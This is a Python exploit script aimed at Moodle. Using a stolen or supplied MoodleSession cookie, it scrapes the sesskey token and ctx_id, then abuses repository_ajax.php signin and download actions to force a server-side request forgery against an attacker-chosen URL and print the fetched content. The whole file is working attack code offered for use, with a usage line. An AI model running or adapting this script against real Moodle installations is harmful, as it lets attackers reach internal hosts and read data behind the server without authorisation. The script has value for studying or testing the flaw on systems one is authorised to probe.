import requests
import sys
from bs4 import BeautifulSoup 
import json
from termcolor import colored

PROXS = {
            'http': '127.0.0.1:8080',
            'https': '127.0.0.1:8080'
        }

# disable proxying to burp
PROXS = {}

def print_info(str):
	print(colored("[*] " + str,"cyan"))

def print_ok(str):
	print(colored("[+] "+ str,"green"))

def print_error(str):
	print(colored("[-] "+ str,"red"))
	sys.exit()

def print_warning(str):
	print(colored("[!!] " + str,"yellow"))


def get_sess_key(target, sess_cookie):
    ''' just return the sess_key, that is the anti-csrf token mainly '''
    cooks = {'MoodleSession': sess_cookie}
    resp = requests.get(target + '/my/', cookies = cooks, proxies = PROXS)
    soup = BeautifulSoup(resp.text, 'html.parser')
    sess_key = soup.find('input',{'name':'sesskey'}).get('value')
    return sess_key

def edit_html(target_url):                                                  
    # put index.html with img tag                                           
    # with needed filename in SRC                                     
    index_content = '<img src='+target_url+'>'    
    with open('index.html','w') as outFile:                    
        outFile.write(index_content) 


def get_ctx_id(target, cookie):
    ''' get the ctx_id to include in the first request'''
    target_url = target + '/user/edit.php'
    resp = requests.get(target_url, cookies = {'MoodleSession':cookie}).text
    start = resp.find('ctx_id')
    end = resp[start:].find('&')
    ctx_id = resp[start:start+end].replace('ctx_id=','')
    return ctx_id
    
def exploit(target, session_cookie, sess_key, server_host, target_ssrf):
    '''
    1) Make SSRF (request ngrok resource)
    2) Confirm download
    3) Download the html (or whatever) result
    '''

    print_info('Retrieving ctx_id ..')
    ctx_id = get_ctx_id(target, session_cookie)
    print_info('Requesting for SSRF ..')
    first_url = target + "/repository/repository_ajax.php?action=signin"
    heads = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
    cooks = {'MoodleSession': session_cookie}
    data = {"file": server_host, "repo_id": "5", "p": '', "page": '', "env": "filemanager", "accepted_types[]": ".133ZZ0", "sesskey": sess_key, "client_id": "not_important", "itemid": "not_important", "maxbytes": "2097152", "areamaxbytes": "-1", "ctx_id": ctx_id}
    resp1 = requests.post(first_url, headers=heads, cookies=cooks, data=data, proxies = PROXS).json()
    sourcekey = resp1['list'][0]['sourcekey']

    print_info('Retrieving file upload location')
    second_url = target + "repository/repository_ajax.php?action=download"
    heads = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
    repo_id = 5 
    data = {"repo_id": "5", "p": '', "page": '', "env": "filemanager", "accepted_types[]": ".l3ZZ0", "sesskey": sess_key, "client_id": "not_important", "itemid": "not_important", "maxbytes": "2097152", "areamaxbytes": "-1", "ctx_id": ctx_id, "title": "z0rrybruhw0w.133ZZ0", "source": target_ssrf, "savepath": "/", "sourcekey": sourcekey, "license": "allrightsreserved", "author": "not_important"}
    resp2 = requests.post(second_url, headers=heads, cookies=cooks, data=data, proxies=PROXS).json()
    try:
        file_path = resp2['url']
    except:
        # If here means the filename (from title) has not been created yet, just a different response :P
        file_path = resp2['newfile']['url']
    file_content = requests.get(file_path, cookies=cooks)
    print_ok('Done!')
    print(colored('-------------','yellow'))
    print(file_content.text)
    print(colored('-------------','yellow'))

if __name__ == '__main__':
    if len(sys.argv) < 5:
        print_warning('Usage: ' + sys.argv[0] + ' <target> <MoodleSession> <server_host> <target_ssrf>')
        sys.exit()

    print_info('Starting ..')
    target = sys.argv[1]
    session_cookie = sys.argv[2]
    server_host = sys.argv[3]
    target_ssrf = sys.argv[4]
    sess_key = get_sess_key(target, session_cookie)
    edit_html(target_ssrf)
    exploit(target, session_cookie, sess_key, server_host, target_ssrf)
